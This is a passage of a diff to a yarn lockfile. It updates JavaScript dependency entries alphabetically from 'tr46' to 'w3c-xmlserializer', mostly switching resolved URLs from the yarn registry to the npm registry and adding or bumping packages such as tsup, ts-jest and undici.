   integrity sha512-Loo5UUvLD9ScZ6jh8beX1T6sO1w2/MpCRpEP7V280GKMVUQ0Jzar2U3UJPsrdbziLEMMhu3Ujnq//rhiFuIeag==
   dependencies:
     psl "^1.1.33"
@@ -9438,43 +10823,60 @@ tough-cookie@^4.0.0, tough-cookie@^4.1.2:
     universalify "^0.2.0"
     url-parse "^1.5.3"
 
+tr46@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.npmjs.org/tr46/-/tr46-1.0.1.tgz"
+  integrity sha512-dTpowEjclQ7Kgx5SdBkqRzVhERQXov8/l9Ft9dVM9fmg0W0KQSVaXX9T4i6twCPNtYiZM53lpSSUAwJbFPOHxA==
+  dependencies:
+    punycode "^2.1.0"
+
 tr46@^3.0.0:
   version "3.0.0"
-  resolved "https://registry.yarnpkg.com/tr46/-/tr46-3.0.0.tgz#555c4e297a950617e8eeddef633c87d4d9d6cbf9"
+  resolved "https://registry.npmjs.org/tr46/-/tr46-3.0.0.tgz"
   integrity sha512-l7FvfAHlcmulp8kr+flpQZmVwtu7nfRV7NZujtN0OqES8EL4O4e0qqzL0DC5gAvx/ZC/9lk6rhcUwYvkBnBnYA==
   dependencies:
     punycode "^2.1.1"
 
 tr46@^4.1.1:
   version "4.1.1"
-  resolved "https://registry.yarnpkg.com/tr46/-/tr46-4.1.1.tgz#281a758dcc82aeb4fe38c7dfe4d11a395aac8469"
+  resolved "https://registry.npmjs.org/tr46/-/tr46-4.1.1.tgz"
   integrity sha512-2lv/66T7e5yNyhAAC4NaKe5nVavzuGJQVVtRYLyQ2OI8tsJ61PMLlelehb0wi2Hx6+hT/OJUWZcw8MjlSRnxvw==
   dependencies:
     punycode "^2.3.0"
 
 tree-kill@^1.2.2:
   version "1.2.2"
-  resolved "https://registry.yarnpkg.com/tree-kill/-/tree-kill-1.2.2.tgz#4ca09a9092c88b73a7cdc5e8a01b507b0790a0cc"
+  resolved "https://registry.npmjs.org/tree-kill/-/tree-kill-1.2.2.tgz"
   integrity sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==
 
 trim-right@^1.0.1:
   version "1.0.1"
-  resolved "https://registry.yarnpkg.com/trim-right/-/trim-right-1.0.1.tgz#cb2e1203067e0c8de1f614094b9fe45704ea6003"
+  resolved "https://registry.npmjs.org/trim-right/-/trim-right-1.0.1.tgz"
   integrity sha512-WZGXGstmCWgeevgTL54hrCuw1dyMQIzWy7ZfqRJfSmJZBwklI15egmQytFP6bPidmw3M8d5yEowl1niq4vmqZw==
 
+triple-beam@^1.3.0:
+  version "1.4.1"
+  resolved "https://registry.npmjs.org/triple-beam/-/triple-beam-1.4.1.tgz"
+  integrity sha512-aZbgViZrg1QNcG+LULa7nhZpJTZSLm/mXnHXnbAbjmN5aSa0y7V+wvv6+4WaBtpISJzThKy+PIPxc1Nq1EJ9mg==
+
 ts-api-utils@^1.0.1:
   version "1.0.3"
-  resolved "https://registry.yarnpkg.com/ts-api-utils/-/ts-api-utils-1.0.3.tgz#f12c1c781d04427313dbac808f453f050e54a331"
+  resolved "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-1.0.3.tgz"
   integrity sha512-wNMeqtMz5NtwpT/UZGY5alT+VoKdSsOOP/kqHFcUW1P/VRhH2wJ48+DN2WwUliNbQ976ETwDL0Ifd2VVvgonvg==
 
+ts-api-utils@^1.3.0:
+  version "1.3.0"
+  resolved "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-1.3.0.tgz"
+  integrity sha512-UQMIo7pb8WRomKR1/+MFVLTroIvDVtMX3K6OUir8ynLyzB8Jeriont2bTAtmNPa1ekAgN7YPDyf6V+ygrdU+eQ==
+
 ts-interface-checker@^0.1.9:
   version "0.1.13"
-  resolved "https://registry.yarnpkg.com/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz#784fd3d679722bc103b1b4b8030bcddb5db2a699"
+  resolved "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz"
   integrity sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==
 
 ts-jest@^28.0.7:
   version "28.0.8"
-  resolved "https://registry.yarnpkg.com/ts-jest/-/ts-jest-28.0.8.tgz#cd204b8e7a2f78da32cf6c95c9a6165c5b99cc73"
+  resolved "https://registry.npmjs.org/ts-jest/-/ts-jest-28.0.8.tgz"
   integrity sha512-5FaG0lXmRPzApix8oFG8RKjAz4ehtm8yMKOTy5HX3fY6W8kmvOrmcY0hKDElW52FJov+clhUbrKAqofnj4mXTg==
   dependencies:
     bs-logger "0.x"
@@ -9488,7 +10890,7 @@ ts-jest@^28.0.7:
 
 ts-jest@^29.1.1:
   version "29.1.1"
-  resolved "https://registry.yarnpkg.com/ts-jest/-/ts-jest-29.1.1.tgz#f58fe62c63caf7bfcc5cc6472082f79180f0815b"
+  resolved "https://registry.npmjs.org/ts-jest/-/ts-jest-29.1.1.tgz"
   integrity sha512-D6xjnnbP17cC85nliwGiL+tpoKN0StpgE0TeOjXQTU6MVCfsB4v7aW05CgQ/1OywGb0x/oy9hHFnN+sczTiRaA==
   dependencies:
     bs-logger "0.x"
@@ -9500,9 +10902,25 @@ ts-jest@^29.1.1:
     semver "^7.5.3"
     yargs-parser "^21.0.1"
 
+ts-jest@^29.3.2:
+  version "29.3.2"
+  resolved "https://registry.yarnpkg.com/ts-jest/-/ts-jest-29.3.2.tgz#0576cdf0a507f811fe73dcd16d135ce89f8156cb"
+  integrity sha512-bJJkrWc6PjFVz5g2DGCNUo8z7oFEYaz1xP1NpeDU7KNLMWPpEyV8Chbpkn8xjzgRDpQhnGMyvyldoL7h8JXyug==
+  dependencies:
+    bs-logger "^0.2.6"
+    ejs "^3.1.10"
+    fast-json-stable-stringify "^2.1.0"
+    jest-util "^29.0.0"
+    json5 "^2.2.3"
+    lodash.memoize "^4.1.2"
+    make-error "^1.3.6"
+    semver "^7.7.1"
+    type-fest "^4.39.1"
+    yargs-parser "^21.1.1"
+
 ts-node@^10.9.2:
   version "10.9.2"
-  resolved "https://registry.yarnpkg.com/ts-node/-/ts-node-10.9.2.tgz#70f021c9e185bccdca820e26dc413805c101c71f"
+  resolved "https://registry.npmjs.org/ts-node/-/ts-node-10.9.2.tgz"
   integrity sha512-f0FFpIdcHgn8zcPSbf1dRevwt047YMnaiJM3u2w2RewrB+fob/zePZcrOyQoLMMO7aBIddLcQIEK5dYjkLnGrQ==
   dependencies:
     "@cspotcode/source-map-support" "^0.8.0"
@@ -9519,211 +10937,271 @@ ts-node@^10.9.2:
     v8-compile-cache-lib "^3.0.1"
     yn "3.1.1"
 
-tsconfig-paths@^3.14.2:
-  version "3.14.2"
-  resolved "https://registry.yarnpkg.com/tsconfig-paths/-/tsconfig-paths-3.14.2.tgz#6e32f1f79412decd261f92d633a9dc1cfa99f088"
-  integrity sha512-o/9iXgCYc5L/JxCHPe3Hvh8Q/2xm5Z+p18PESBU6Ff33695QnCHBEjcytY2q19ua7Mbl/DavtBOLq+oG0RCL+g==
-  dependencies:
-    "@types/json5" "^0.0.29"
-    json5 "^1.0.2"
-    minimist "^1.2.6"
-    strip-bom "^3.0.0"
-
-tslib@^2.1.0, tslib@^2.4.0, tslib@^2.5.0:
+tslib@^2.0.1, tslib@^2.1.0:
   version "2.5.2"
-  resolved "https://registry.yarnpkg.com/tslib/-/tslib-2.5.2.tgz#1b6f07185c881557b0ffa84b111a0106989e8338"
+  resolved "https://registry.npmjs.org/tslib/-/tslib-2.5.2.tgz"
   integrity sha512-5svOrSA2w3iGFDs1HibEVBGbDrAY82bFQ3HZ3ixB+88nsbsWQoKqDRb5UBYAUPEzbBn6dAp5gRNXglySbx1MlA==
 
+tsup@^8.4.0:
+  version "8.4.0"
+  resolved "https://registry.npmjs.org/tsup/-/tsup-8.4.0.tgz"
+  integrity sha512-b+eZbPCjz10fRryaAA7C8xlIHnf8VnsaRqydheLIqwG/Mcpfk8Z5zp3HayX7GaTygkigHl5cBUs+IhcySiIexQ==
+  dependencies:
+    bundle-require "^5.1.0"
+    cac "^6.7.14"
+    chokidar "^4.0.3"
+    consola "^3.4.0"
+    debug "^4.4.0"
+    esbuild "^0.25.0"
+    joycon "^3.1.1"
+    picocolors "^1.1.1"
+    postcss-load-config "^6.0.1"
+    resolve-from "^5.0.0"
+    rollup "^4.34.8"
+    source-map "0.8.0-beta.0"
+    sucrase "^3.35.0"
+    tinyexec "^0.3.2"
+    tinyglobby "^0.2.11"
+    tree-kill "^1.2.2"
+
 type-check@^0.4.0, type-check@~0.4.0:
   version "0.4.0"
-  resolved "https://registry.yarnpkg.com/type-check/-/type-check-0.4.0.tgz#07b8203bfa7056c0657050e3ccd2c37730bab8f1"
+  resolved "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz"
   integrity sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==
   dependencies:
     prelude-ls "^1.2.1"
 
-type-check@~0.3.2:
-  version "0.3.2"
-  resolved "https://registry.yarnpkg.com/type-check/-/type-check-0.3.2.tgz#5884cab512cf1d355e3fb784f30804b2b520db72"
-  integrity sha512-ZCmOJdvOWDBYJlzAoFkC+Q0+bUyEOS1ltgp1MGU03fqHG+dbi9tBFU2Rd9QKiDZFAYrhPh2JUf7rZRIuHRKtOg==
-  dependencies:
-    prelude-ls "~1.1.2"
-
 type-detect@4.0.8:
   version "4.0.8"
-  resolved "https://registry.yarnpkg.com/type-detect/-/type-detect-4.0.8.tgz#7646fb5f18871cfbb7749e69bd39a6388eb7450c"
+  resolved "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz"
   integrity sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==
 
 type-fest@^0.20.2:
   version "0.20.2"
-  resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.20.2.tgz#1bf207f4b28f91583666cb5fbd327887301cd5f4"
+  resolved "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz"
   integrity sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==
 
 type-fest@^0.21.3:
   version "0.21.3"
-  resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.21.3.tgz#d260a24b0198436e133fa26a524a6d65fa3b2e37"
+  resolved "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz"
   integrity sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==
 
-typed-array-buffer@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/typed-array-buffer/-/typed-array-buffer-1.0.0.tgz#18de3e7ed7974b0a729d3feecb94338d1472cd60"
-  integrity sha512-Y8KTSIglk9OZEr8zywiIHG/kmQ7KWyjseXs1CbSo8vC42w7hg2HgYTxSWwP0+is7bWDc1H+Fo026CpHFwm8tkw==
+type-fest@^4.39.1:
+  version "4.40.1"
+  resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-4.40.1.tgz#d78a09f08dd1081a434dd377967650cfd565401d"
+  integrity sha512-9YvLNnORDpI+vghLU/Nf+zSv0kL47KbVJ1o3sKgoTefl6i+zebxbiDQWoe/oWWqPhIgQdRZRT1KA9sCPL810SA==
+
+type-is@^2.0.0, type-is@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.npmjs.org/type-is/-/type-is-2.0.1.tgz"
+  integrity sha512-OZs6gsjF4vMp32qrCbiVSkrFmXtG/AZhY3t0iAMrMBiAZyV9oALtXO8hsrHbMXF9x6L3grlFuwW2oAz7cav+Gw==
   dependencies:
-    call-bind "^1.0.2"
-    get-intrinsic "^1.2.1"
-    is-typed-array "^1.1.10"
+    content-type "^1.0.5"
+    media-typer "^1.1.0"
+    mime-types "^3.0.0"
 
-typed-array-byte-length@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/typed-array-byte-length/-/typed-array-byte-length-1.0.0.tgz#d787a24a995711611fb2b87a4052799517b230d0"
-  integrity sha512-Or/+kvLxNpeQ9DtSydonMxCx+9ZXOswtwJn17SNLvhptaXYDJvkFFP5zbfU/uLmvnBJlI4yrnXRxpdWH/M5tNA==
+typed-array-buffer@^1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/typed-array-buffer/-/typed-array-buffer-1.0.3.tgz#a72395450a4869ec033fd549371b47af3a2ee536"
+  integrity sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==
   dependencies:
-    call-bind "^1.0.2"
-    for-each "^0.3.3"
-    has-proto "^1.0.1"
-    is-typed-array "^1.1.10"
+    call-bound "^1.0.3"
+    es-errors "^1.3.0"
+    is-typed-array "^1.1.14"
 
-typed-array-byte-offset@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/typed-array-byte-offset/-/typed-array-byte-offset-1.0.0.tgz#cbbe89b51fdef9cd6aaf07ad4707340abbc4ea0b"
-  integrity sha512-RD97prjEt9EL8YgAgpOkf3O4IF9lhJFr9g0htQkm0rchFp/Vx7LW5Q8fSXXub7BXAODyUQohRMyOc3faCPd0hg==
+typed-array-byte-length@^1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/typed-array-byte-length/-/typed-array-byte-length-1.0.3.tgz#8407a04f7d78684f3d252aa1a143d2b77b4160ce"
+  integrity sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg==
   dependencies:
-    available-typed-arrays "^1.0.5"
-    call-bind "^1.0.2"
+    call-bind "^1.0.8"
     for-each "^0.3.3"
-    has-proto "^1.0.1"
-    is-typed-array "^1.1.10"
+    gopd "^1.2.0"
+    has-proto "^1.2.0"
+    is-typed-array "^1.1.14"
 
-typed-array-length@^1.0.4:
+typed-array-byte-offset@^1.0.4:
   version "1.0.4"
-  resolved "https://registry.yarnpkg.com/typed-array-length/-/typed-array-length-1.0.4.tgz#89d83785e5c4098bec72e08b319651f0eac9c1bb"
-  integrity sha512-KjZypGq+I/H7HI5HlOoGHkWUUGq+Q0TPhQurLbyrVrvnKTBgzLhIJ7j6J/XTQOi0d1RjyZ0wdas8bKs2p0x3Ng==
+  resolved "https://registry.yarnpkg.com/typed-array-byte-offset/-/typed-array-byte-offset-1.0.4.tgz#ae3698b8ec91a8ab945016108aef00d5bff12355"
+  integrity sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ==
+  dependencies:
+    available-typed-arrays "^1.0.7"
+    call-bind "^1.0.8"
+    for-each "^0.3.3"
+    gopd "^1.2.0"
+    has-proto "^1.2.0"
+    is-typed-array "^1.1.15"
+    reflect.getprototypeof "^1.0.9"
+
+typed-array-length@^1.0.7:
+  version "1.0.7"
+  resolved "https://registry.yarnpkg.com/typed-array-length/-/typed-array-length-1.0.7.tgz#ee4deff984b64be1e118b0de8c9c877d5ce73d3d"
+  integrity sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg==
   dependencies:
-    call-bind "^1.0.2"
+    call-bind "^1.0.7"
     for-each "^0.3.3"
-    is-typed-array "^1.1.9"
+    gopd "^1.0.1"
+    is-typed-array "^1.1.13"
+    possible-typed-array-names "^1.0.0"
+    reflect.getprototypeof "^1.0.6"
+
+typed-query-selector@^2.12.0:
+  version "2.12.0"
+  resolved "https://registry.npmjs.org/typed-query-selector/-/typed-query-selector-2.12.0.tgz"
+  integrity sha512-SbklCd1F0EiZOyPiW192rrHZzZ5sBijB6xM+cpmrwDqObvdtunOHHIk9fCGsoK5JVIYXoyEp4iEdE3upFH3PAg==
+
+typescript-eslint@^8.16.0:
+  version "8.18.1"
+  resolved "https://registry.npmjs.org/typescript-eslint/-/typescript-eslint-8.18.1.tgz"
+  integrity sha512-Mlaw6yxuaDEPQvb/2Qwu3/TfgeBHy9iTJ3mTwe7OvpPmF6KPQjVOfGyEJpPv6Ez2C34OODChhXrzYw/9phI0MQ==
+  dependencies:
+    "@typescript-eslint/eslint-plugin" "8.18.1"
+    "@typescript-eslint/parser" "8.18.1"
+    "@typescript-eslint/utils" "8.18.1"
 
 typescript@^5.4.3:
   version "5.4.3"
-  resolved "https://registry.yarnpkg.com/typescript/-/typescript-5.4.3.tgz#5c6fedd4c87bee01cd7a528a30145521f8e0feff"
+  resolved "https://registry.npmjs.org/typescript/-/typescript-5.4.3.tgz"
   integrity sha512-KrPd3PKaCLr78MalgiwJnA25Nm8HAmdwN3mYUYZgG/wizIo9EainNVQI9/yDavtVFRN2h3k8uf3GLHuhDMgEHg==
 
-unbox-primitive@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/unbox-primitive/-/unbox-primitive-1.0.2.tgz#29032021057d5e6cdbd08c5129c226dff8ed6f9e"
-  integrity sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw==
+unbox-primitive@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/unbox-primitive/-/unbox-primitive-1.1.0.tgz#8d9d2c9edeea8460c7f35033a88867944934d1e2"
+  integrity sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw==
   dependencies:
-    call-bind "^1.0.2"
+    call-bound "^1.0.3"
     has-bigints "^1.0.2"
-    has-symbols "^1.0.3"
-    which-boxed-primitive "^1.0.2"
+    has-symbols "^1.1.0"
+    which-boxed-primitive "^1.1.1"
+
+undici-types@~6.19.2:
+  version "6.19.8"
+  resolved "https://registry.npmjs.org/undici-types/-/undici-types-6.19.8.tgz"
+  integrity sha512-ve2KP6f/JnbPBFyobGHuerC9g1FYGn/F8n1LWTwNxCEzd6IfqTwUQcNXgEtmmQ6DlRrC1hrSrBnCZPokRrDHjw==
+
+undici@^6.19.5:
+  version "6.23.0"
+  resolved "https://registry.yarnpkg.com/undici/-/undici-6.23.0.tgz#7953087744d9095a96f115de3140ca3828aff3a4"
+  integrity sha512-VfQPToRA5FZs/qJxLIinmU59u0r7LXqoJkCzinq3ckNJp3vKEh7jTWN589YQ5+aoAC/TGRLyJLCPKcLQbM8r9g==
 
 unicode-canonical-property-names-ecmascript@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.0.tgz#301acdc525631670d39f6146e0e77ff6bbdebddc"
-  integrity sha512-yY5PpDlfVIU5+y/BSCxAJRBIS1Zc2dDG3Ujq+sR0U+JjUevW2JhocOF+soROYDSaAezOzOKuyyixhD6mBknSmQ==
+  version "2.0.1"
+  resolved "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.1.tgz"
+  integrity sha512-dA8WbNeb2a6oQzAQ55YlT5vQAWGV9WXOsi3SskE3bcCdM0P4SDd+24zS/OCacdRq5BkdsRj9q3Pg6YyQoxIGqg==
 
 unicode-match-property-ecmascript@^2.0.0:
   version "2.0.0"
-  resolved "https://registry.yarnpkg.com/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz#54fd16e0ecb167cf04cf1f756bdcc92eba7976c3"
+  resolved "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz"
   integrity sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==
   dependencies:
     unicode-canonical-property-names-ecmascript "^2.0.0"
     unicode-property-aliases-ecmascript "^2.0.0"
 
 unicode-match-property-value-ecmascript@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.1.0.tgz#cb5fffdcd16a05124f5a4b0bf7c3770208acbbe0"
-  integrity sha512-qxkjQt6qjg/mYscYMC0XKRn3Rh0wFPlfxB0xkt9CfyTvpX1Ra0+rAmdX2QyAobptSEvuy4RtpPRui6XkV+8wjA==
+  version "2.2.0"
+  resolved "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.2.0.tgz"
+  integrity sha512-4IehN3V/+kkr5YeSSDDQG8QLqO26XpL2XP3GQtqwlT/QYSECAwFztxVHjlbh0+gjJ3XmNLS0zDsbgs9jWKExLg==
 
 unicode-property-aliases-ecmascript@^2.0.0:
   version "2.1.0"
-  resolved "https://registry.yarnpkg.com/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.1.0.tgz#43d41e3be698bd493ef911077c9b131f827e8ccd"
+  resolved "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.1.0.tgz"
   integrity sha512-6t3foTQI9qne+OZoVQB/8x8rk2k1eVy1gRXhV3oFQ5T6R1dqQ1xtin3XqSlx3+ATBkliTaR/hHyJBm+LVPNM8w==
 
+universalify@^0.1.0:
+  version "0.1.2"
+  resolved "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz"
+  integrity sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==
+
 universalify@^0.2.0:
   version "0.2.0"
-  resolved "https://registry.yarnpkg.com/universalify/-/universalify-0.2.0.tgz#6451760566fa857534745ab1dde952d1b1761be0"
+  resolved "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz"
   integrity sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==
 
-untildify@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/untildify/-/untildify-4.0.0.tgz#2bc947b953652487e4600949fb091e3ae8cd919b"
-  integrity sha512-KK8xQ1mkzZeg9inewmFVDNkg3l5LUhoq9kN6iWYB/CC9YMG8HA+c1Q8HwDe6dEX7kErrEVNVBO3fWsVq5iDgtw==
-
-update-browserslist-db@^1.0.11:
-  version "1.0.11"
-  resolved "https://registry.yarnpkg.com/update-browserslist-db/-/update-browserslist-db-1.0.11.tgz#9a2a641ad2907ae7b3616506f4b977851db5b940"
-  integrity sha512-dCwEFf0/oT85M1fHBg4F0jtLwJrutGoHSQXCh7u4o2t1drG+c0a9Flnqww6XUKSfQMPpJBRjU8d4RXB09qtvaA==
-  dependencies:
-    escalade "^3.1.1"
-    picocolors "^1.0.0"
+unpipe@1.0.0:
+  version "1.0.0"
+  resolved "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz"
+  integrity sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==
 
-update-browserslist-db@^1.0.13:
-  version "1.0.16"
-  resolved "https://registry.yarnpkg.com/update-browserslist-db/-/update-browserslist-db-1.0.16.tgz#f6d489ed90fb2f07d67784eb3f53d7891f736356"
-  integrity sha512-KVbTxlBYlckhF5wgfyZXTWnMn7MMZjMu9XG8bPlliUOP9ThaF4QnhP8qrjrH7DRzHfSk0oQv1wToW+iA5GajEQ==
+update-browserslist-db@^1.1.1:
+  version "1.1.3"
+  resolved "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.1.3.tgz"
+  integrity sha512-UxhIZQ+QInVdunkDAaiazvvT/+fXL5Osr0JZlJulepYu6Jd7qJtDZjlur0emRlT71EN3ScPoE7gvsuIKKNavKw==
   dependencies:
-    escalade "^3.1.2"
-    picocolors "^1.0.1"
+    escalade "^3.2.0"
+    picocolors "^1.1.1"
 
 uri-js@^4.2.2:
   version "4.4.1"
-  resolved "https://registry.yarnpkg.com/uri-js/-/uri-js-4.4.1.tgz#9b1a52595225859e55f669d928f88c6c57f2a77e"
+  resolved "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz"
   integrity sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==
   dependencies:
     punycode "^2.1.0"
 
 url-parse@^1.5.3:
   version "1.5.10"
-  resolved "https://registry.yarnpkg.com/url-parse/-/url-parse-1.5.10.tgz#9d3c2f736c1d75dd3bd2be507dcc111f1e2ea9c1"
+  resolved "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz"
   integrity sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==
   dependencies:
     querystringify "^2.1.1"
     requires-port "^1.0.0"
 
-util-deprecate@^1.0.1, util-deprecate@^1.0.2:
+util-deprecate@^1.0.1, util-deprecate@~1.0.1:
   version "1.0.2"
-  resolved "https://registry.yarnpkg.com/util-deprecate/-/util-deprecate-1.0.2.tgz#450d4dc9fa70de732762fbd2d4a28981419a0ccf"
+  resolved "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz"
   integrity sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==
 
 v8-compile-cache-lib@^3.0.1:
   version "3.0.1"
-  resolved "https://registry.yarnpkg.com/v8-compile-cache-lib/-/v8-compile-cache-lib-3.0.1.tgz#6336e8d71965cb3d35a1bbb7868445a7c05264bf"
+  resolved "https://registry.npmjs.org/v8-compile-cache-lib/-/v8-compile-cache-lib-3.0.1.tgz"
   integrity sha512-wa7YjyUGfNZngI/vtK0UHAN+lgDCxBPCylVXGp0zu59Fz5aiGtNXaq3DhIov063MorB+VfufLh3JlF2KdTK3xg==
 
+v8-to-istanbul@^9.0.0:
+  version "9.3.0"
+  resolved "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-9.3.0.tgz"
+  integrity sha512-kiGUalWN+rgBJ/1OHZsBtU4rXZOfj/7rKQxULKlIzwzQSvMJUUNgPwJEEh7gU6xEVxC0ahoOBvN2YI8GH6FNgA==
+  dependencies:
+    "@jridgewell/trace-mapping" "^0.3.12"
+    "@types/istanbul-lib-coverage" "^2.0.1"
+    convert-source-map "^2.0.0"
+
 v8-to-istanbul@^9.0.1:
   version "9.0.1"
-  resolved "https://registry.yarnpkg.com/v8-to-istanbul/-/v8-to-istanbul-9.0.1.tgz#b6f994b0b5d4ef255e17a0d17dc444a9f5132fa4"
+  resolved "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-9.0.1.tgz"
   integrity sha512-74Y4LqY74kLE6IFyIjPtkSTWzUZmj8tdHT9Ii/26dvQ6K9Dl2NbEfj0XgU2sHCtKgt5VupqhlO/5aWuqS+IY1w==
   dependencies:
     "@jridgewell/trace-mapping" "^0.3.12"
     "@types/istanbul-lib-coverage" "^2.0.1"
     convert-source-map "^1.6.0"
 
+vary@^1, vary@^1.1.2:
+  version "1.1.2"
+  resolved "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz"
+  integrity sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==
+
 w3c-hr-time@^1.0.2:
   version "1.0.2"
-  resolved "https://registry.yarnpkg.com/w3c-hr-time/-/w3c-hr-time-1.0.2.tgz#0a89cdf5cc15822df9c360543676963e0cc308cd"
+  resolved "https://registry.npmjs.org/w3c-hr-time/-/w3c-hr-time-1.0.2.tgz"
   integrity sha512-z8P5DvDNjKDoFIHK7q8r8lackT6l+jo/Ye3HOle7l9nICP9lf1Ci25fy9vHd0JOWewkIFzXIEig3TdKT7JQ5fQ==
   dependencies:
     browser-process-hrtime "^1.0.0"
 
 w3c-xmlserializer@^3.0.0:
   version "3.0.0"
-  resolved "https://registry.yarnpkg.com/w3c-xmlserializer/-/w3c-xmlserializer-3.0.0.tgz#06cdc3eefb7e4d0b20a560a5a3aeb0d2d9a65923"
+  resolved "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-3.0.0.tgz"
   integrity sha512-3WFqGEgSXIyGhOmAFtlicJNMjEps8b1MG31NCA0/vOF9+nKMUW1ckhi9cnNHmf88Rzw5V+dwIwsm2C7X8k9aQg==
   dependencies:
     xml-name-validator "^4.0.0"
 
 w3c-xmlserializer@^4.0.0:
   version "4.0.0"
-  resolved "https://registry.yarnpkg.com/w3c-xmlserializer/-/w3c-xmlserializer-4.0.0.tgz#aebdc84920d806222936e3cdce408e32488a3073"
+  resolved "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-4.0.0.tgz"
